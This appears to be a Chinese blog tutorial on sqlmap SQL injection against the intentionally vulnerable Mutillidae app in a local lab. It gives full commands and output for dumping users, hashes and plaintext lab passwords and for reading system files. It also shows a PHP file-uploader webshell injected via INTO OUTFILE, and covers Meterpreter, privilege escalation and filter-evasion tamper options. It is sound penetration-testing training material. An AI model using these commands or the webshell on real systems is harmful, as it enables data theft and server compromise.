Mutillidae是一个开放源码的提供安全渗透测试的Web应用程序, Mutillidae可以安装在Linux、windows xp、windows 7等平台上。下载及安装说明文档详见:mutillidae安装 在owasp top 10选项中,我们可以看到很多提供测试的页面. 这里随便选取一个sql injection地址进行测试.本文紧紧是介绍sqlmap注入工具的常用参数使用方法,参考文档:sqlmap说明文档 本地环境,虚拟机win2k3搭建好Mutillidae. 虚拟机backtrack5 r3进行sqlmap测试。

Using sqlmap for sql injection

获取数据库类型版本信息

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.2/mutillidae/index.php?page=login.php --forms --batch -p username -f --dbms=mysql -b --flush-session --level=5 --risk=3 -v 1

 
返回结果:

web server operating system: Windows
web application technology: Apache 2.4.3, PHP 5.4.7
back-end DBMS: active fingerprint: MySQL >= 5.5.0
html error message fingerprint: MySQL
banner: '5.5.27' #参数说明:
--forms #测试url表单(因为这里测试的是一个登录框,post型的注入测试,其他方法往下看)
--batch #使用默认,不要求用户输入
-p #指定可测试的参数
-f #指纹识别数据库类型
--dbms #指定数据库管理系统
MySQL
Oracle
PostgreSQL
Microsoft SQL Server
Microsoft Access
SQLite
Firebird
Sybase
SAP MaxDB
-b #获取数据库版本信息
--level=(1-5) #要执行的测试水平等级,默认为1
--risk=(0-3) #测试执行的风险等级,默认为1
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
--flush-session #Flush session file for current target.刷新Session file #tips
#如果手工测试可以判断出sql注入类型可以用--technique参数提高效率,默认是B:
B: Boolean-based blind SQL injection
E: Error-based SQL injection
U: UNION query SQL injection
S: Stacked queries SQL injection
T: Time-based blind SQL injection
--technique=E
-s #保存和恢复Session file 指定一个不同的路径
获取当前数据库用户名及数据库名

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --current-user --current-db --flush-session --technique=E --level=5 --risk=3 -v 1

#返回结果:
[02:49:56] [INFO] fetching current user
[02:50:01] [INFO] retrieved: root@localhost
current user: 'root@localhost' [02:50:01] [INFO] fetching current database
[02:50:05] [INFO] retrieved: nowasp
current database: 'nowasp' #参数说明:
--current-user #获取当前数据库用户名称
--current-db #获取当前数据库名称 #tips
#判断当前数据库用户权限:
--privileges -U 用户名
--is-dba -U 用户名
获取所有数据库及用户和密码hashes

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --users --passwords --dbs --technique=E --level=5 --risk=3 -v 1

#返回结果:
database management system users [59]:
[*] ''@'linux'
[*] ''@'localhost'
[*] 'pma'@'localhost'
[*] 'root'@'linux'
[*] 'root'@'localhost'
database management system users password hashes:
[*] pma [1]:
password hash: NULL
[*] root [2]:
password hash: NULL
password hash: NULL
available databases [8]:
[*] cdcol
[*] information_schema
[*] mysql
[*] nowasp
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth #参数说明:
--users #列出数据库所有用户
--passwords #列出数据库所有用户密码hashes
--dbs #列出所有数据库 #tips
#如果要读取指定用户的密码hash:
--passwords -U root
列出指定数据库中的表名

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --tables -D nowasp --technique=E --level=5 --risk=3 -v 1

#返回结果:
Database: nowasp
[7 tables]
+----------------+
| accounts |
| balloon_tips |
| blogs_table |
| captured_data |
| credit_cards |
| hitlog |
| pen_test_tools |
+----------------+ #参数说明:
--tables #获取数据库中所有表名
-D #指定数据库名
列出指定数据库表项的所有字段名

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --columns -D nowasp -T accounts --technique=E --level=5 --risk=3 -v 1

#返回结果:
Database: nowasp
Table: accounts
[5 columns]
+-------------+------------+
| Column | Type |
+-------------+------------+
| cid | int(11) |
| is_admin | varchar(5) |
| mysignature | text |
| password | text |
| username | text |
+-------------+------------+ #参数说明:
--columns #列出表中所有字段名
-T #指定数据库表名
获取指定字段数据(脱裤)

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --dump -D nowasp -T accounts -C "username,password" --technique=E --level=5 --risk=3 -v 1

#返回结果:
Database: nowasp
Table: accounts
[16 entries]
+----------+--------------+
| username | password |
+----------+--------------+
| kevin | 42 |
| admin | adminpass |
| john | monkey |
| jeremy | password |
| bryce | password |
| jim | password |
| bobby | password |
| simba | password |
| dreveil | password |
| scotty | password |
| cal | password |
| john | password |
| ed | pentest |
| samurai | samurai |
| dave | set |
| adrian | somepassword |
+----------+--------------+ #参数说明:
--dump #dump数据库表项
-C #指定字段名 #tips
--start 2 --stop 4 #dump一个范围类的数据(配合--dump使用). 如:
此语句加上参数--start 2 --stop 4返回:
+----------+-----------+
| username | password |
+----------+-----------+
| admin | adminpass |
| john | monkey |
| jeremy | password |
+----------+-----------+
--dump-all #dump所有数据库表项
--replicate #Replicate dumped data into a sqlite3 database
读取指定文件

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch -p username --file-read "c:/boot.ini" --technique=E --level=5 --risk=3 -v 1

#返回结果:
[boot loader]\r
timeout=30\r
default=multi(0)disk(0)rdisk(0)partition(1)\\WINDOWS\r
[operating systems]\r
multi(0)disk(0)rdisk(0)partition(1)\\WINDOWS="Windows Server 2003, Enterprise" /noexecute=optout /fa
c:/boot.ini file saved to: '/pentest/database/sqlmap/output/192.168.1.3/files/c__boot.ini' #参数说明:
--file-read #读取系统指定文件
上传本地文件

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --forms --batch --file-write "/tmp/test.txt" --file-dest "F:/xampp/htdocs/mutillidae/test/test.php" --technique=E --level=5 --risk=3 -v 4

#返回结果:
[ERROR] none of the SQL injection techniques detected can be used to write files to the underlying file system of the back-end MySQL server #参数说明:
--file-write #上传本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
--file-dest #上传到的绝对路径 #tips
--proxy=http://localhost:8080 #如使用burpsuite时代理端口配置
--prefix "a'" --suffix "or 'a'='a" #

这里针对post提交的测试未成功 可以-v 4看看HTTP请求 GET?. --os-shell -v 4得到提交limit 1 into outfile语句 截取一段解码后如:

POST /mutillidae/index.php?page=login.php HTTP/1.1
Accept-Encoding: identity
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.3
Accept-language: en-us,en;q=0.5
Pragma: no-cache
Cache-control: no-cache,no-store
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-agent: sqlmap/1.0-dev-25eca9d (http://sqlmap.org)
Cookie: showhints=0;PHPSESSID=qvel8iet1d713f4q00n8gr60s6
Connection: close username=a' LIMIT 1 INTO OUTFILE 'C:/xampp/htdocs/mutillidae/includes/tmpuptvk.php' LINES TERMINATED BY <?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\\xampp\\htdocs\\mutillidae\\includes> <input type=submit name=upload value=upload></form>";}?> -- or 'a'='a&password=&login-php-submit-button=Login

我这木测试成功 可以使用burpsuite抓包修改post数据提交或者wireshark配合tcpdump nc提交试试

sqlmap --cookie注入测试

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=capture-data.php --cookie="page = capture-data.php\r\nshowhints = 1\r\nPHPSESSID = m565a24c08ld1uheri0rpnqqt3\r\n" --dbs --level=5 --risk=3 -v 4

#返回结果:
available databases [8]:
[*] cdcol
[*] information_schema
[*] mysql
[*] nowasp
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth #参数说明:
--cookie #HTTP Cookie header #tips
--cookie-urlencode #URL Encode generated cookie injections
--string #指定关键词,字符串匹配. 也可以用--regexp

sqlmap --auth-type and --auth-cred认证注入测试

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --auth-type Basic --auth-cred "admin:adminpass" --dbs --level=5 --risk=3 -v 4

#返回结果:
available databases [8]:
[*] cdcol
[*] information_schema
[*] mysql
[*] nowasp
[*] performance_schema
[*] phpmyadmin
[*] test
[*] webauth
#这里就拿前面dump出的数据进行测试 #参数说明:
--auth-type #HTTP身份验证类型(Basic, Digest or NTLM)
--auth-cred #HTTP身份验证凭据(name:password) #tips
--auth-cert #客户端证书key_file,cert_file.

结合Metasploit’s Meterpreter注入

root@bt:/pentest/database/sqlmap#python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --os-pwn --msf-path=/opt/framework/msf3 --priv-esc --technique=E --level=5 --risk=3 -v 1

#返回结果:
自行测试 #参数说明:
--os-pwn #Prompt for an out-of-band shell, meterpreter or VNC
--msf-path #matesploit绝对路径
--priv-esc #Database process' user privilege escalation #tips
--os-smbrelay #One click prompt for an OOB shell, meterpreter or VNC
--os-bof #Stored procedure buffer overflow exploitation
--tmp-path=TMPPATH #Remote absolute path of temporary files directory

其他参数配合使用

#编码
--tamper=TAMPER #Use given script(s) for tampering injection data 如:
--tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py #读取注册表项值
--reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1 #操作数据库
--sql-shell #提供一个交互的sql shell
--sql-query=QUERY #执行sql语句 #查资料看见有用-z,根据参数及结果可以了解哈
-z "ign,flu,bat,ban"
返回:
web server operating system: Windows
web application technology: Apache 2.4.3, PHP 5.4.7
back-end DBMS: MySQL 5.0
banner: '5.5.27' #对于需要暴力猜表字段类的 如mysql4,在/pentest/database/sqlmap/txt下存放这字典可以自行添加
common-columns.txt common-tables.txt smalldict.txt wordlist.txt
common-outputs.txt keywords.txt user-agents.txt #tips
--threads #设置线程
--user-agent=AGENT #HTTP User-Agent header
--random-agent #Use randomly selected HTTP User-Agent header
--referer=REFERER #HTTP Referer header
......

sqlmap post型注入其他方法:

1.使用burpsuite抓包获取提交的参数信息保存为post-sql.txt,然后执行:

root@bt:/pentest/database/sqlmap# python sqlmap.py -r /root/Desktop/post-sql.txt -p username --dbs --text-only --level=5 --risk=3 -v 3

2.使用--data参数执行:

root@bt:/pentest/database/sqlmap# python sqlmap.py -u http://192.168.1.3/mutillidae/index.php?page=login.php --data="username=&password=&login-php-submit-button=Login" -p username --batch --threads=10 --dbs --level=5 --risk=3 -v 3
 

Mutillidae品台上使用sqlmap注入测试的更多相关文章

  1. 利用sqlmap注入测试

    安装:yum install -y gitcd /usr/local && git clone https://github.com/sqlmapproject/sqlmap.gitc ...

  2. 通过BurpSuite和sqlmap配合对dvwa进行sql注入测试和用户名密码暴力破解

    0x1 工具和环境介绍 dvwa:渗透测试环境 BurpSuite:强大的WEB安全测试工具 sqlmap:强大的sql注入工具 以上工具和环境都在kali linux上安装和配置. 0x2 步骤说明 ...

  3. Sql注入测试--Sqlmap

    慕课网sqlmap学习笔记: 一.SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. 例如 (1)在url上 ...

  4. 【Pyhon】利用BurpSuite到SQLMap批量测试SQL注入

    前言 通过Python脚本把Burp的HTTP请求提取出来交给SQLMap批量测试,提升找大门户网站SQL注入点的效率. 导出Burp的请求包 配置到Burp的代理后浏览门户站点,Burp会将URL纪 ...

  5. sqlmap注入小结

    sqlmap注入时: 1.判断可注入的参数 2.判断可以用那种SQL注入技术来注入 3.识别出哪种数据库 4.根据用户选择,读取哪些数据 sqlmap支持五种不同的注入模式: 1.基于布尔的盲注,即可 ...

  6. sqlmap注入技巧收集

    收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅,欢迎接楼补充.分享. TIP1 当我们注射的时候,判断注入 http://site/script?id= ...

  7. Sqlmap注入技巧集锦

    当我们注射的时候,判断注入 http://site/script?id=10 http://site/script?id=11-1 # 相当于 id=10 http://site/script?id= ...

  8. 使用sqlmap注入DVWA的SQL Injection菜单

    1 使用sqlmap注入DVWA的SQL Injection菜单 本教程中的登陆地址:http://192.168.0.112/dvwa/login.php 1.1 获取cookie信息 1) 使用a ...

  9. sqlmap注入入门

    sqlmap注入入门 sqlmap的用法: ​ linux中: sqlmap [选项] ​ Windows中: python sqlmap [选项] 常用的参数及含义: 目标 ​ -d DIRECT ...

  10. SQLMAP注入教程-11种常见SQLMAP使用方法详解

    sqlmap也是渗透中常用的一个注入工具,其实在注入工具方面,一个sqlmap就足够用了,只要你用的熟,秒杀各种工具,只是一个便捷性问题,sql注入另一方面就是手工党了,这个就另当别论了.今天把我一直 ...

随机推荐

  1. fbx查看软件

    对于3D的模型资源,比如fbx文件,除了使用专业的软件查看外,比如Unity3D,vs2015及更高版本,maya,3DMax等等,有没有更加轻量的软件可以查看fbx的内容呢? win10自带 win ...

  2. go中string是如何实现的呢

    go中string是如何实现的呢 前言 实现 go语言中的string是不可变的 []byte转string string转[]byte 字符串的拼接 +方式进行拼接 fmt 拼接 Join 拼接 b ...

  3. 多进程实现socket通信(Python)

    服务器端: #__author__:Kelvin #date:2020/5/9 11:35 import socket from multiprocessing import Process def ...

  4. rpm安装卸载jdk

    安装 rpm -ivh jdk-7-linux-x64.rpm 卸载 先查看安装的包 rpm -qa | grep jdk 卸载 rpm -e --nodeps jdk-1.7.0-fcs.x86_6 ...

  5. 程序设计实验第一学期期末考试复习用源代码【C语言深度解剖】【超详细注释】

    有关此篇 在这里博主先告诉大家,博主在学校学的C语言课本是<谭浩强的C语言>那这本红色的书. 博主到期末阶段是学到了结构体那一章,下面是博主的复习代码,是一些比较有编程思想的一些源代码,博 ...

  6. SqlDapperEasyUtil:.NET CORE下的Dapper封装操作类

    之前介绍了基于Dapper二次封装了一个易用的ORM工具类:SqlDapperUtil,这个在.NET FX下还是比较好用的,现在都流行.NET CORE,故我这边再次进行精简修改,以便适应.NET ...

  7. 小知识:Oracle RAC添加服务名实现单节点访问

    环境:Oracle 11.2.0.4 RAC(2 nodes) 1.查看RAC IP配置信息 2.添加服务名并启动服务 3.停止服务并删除服务名 1.查看RAC IP配置信息 我们先查看下环境的IP分 ...

  8. Google全球分布式数据库:Spanner

    2012年的OSDI上google发布了Spanner数据库.个人认为Spanner对于版本控制,事务外部一致性的处理,使用TrueTime + Timestamp进行全球备份同步的实现都比较值得一看 ...

  9. 掌握C语言文件操作:从入门到精通的完整指南!

    欢迎大家来到贝蒂大讲堂 养成好习惯,先赞后看哦~ 所属专栏:C语言学习 贝蒂的主页:Betty's blog 1. 什么是文件 文件其实是指一组相关数据的有序集合.这个数据集有一个名称,叫做文件名.文 ...

  10. NC20684 wpy的请求

    题目链接 题目 题目描述 "题目名称只是吸引你来做题的啦,其实和题目没什么卵关系:o(* ̄▽ ̄*)o" -- 历史--殿堂 wpy移情别恋啦,他不喜欢spfa了,现在他喜欢使用di ...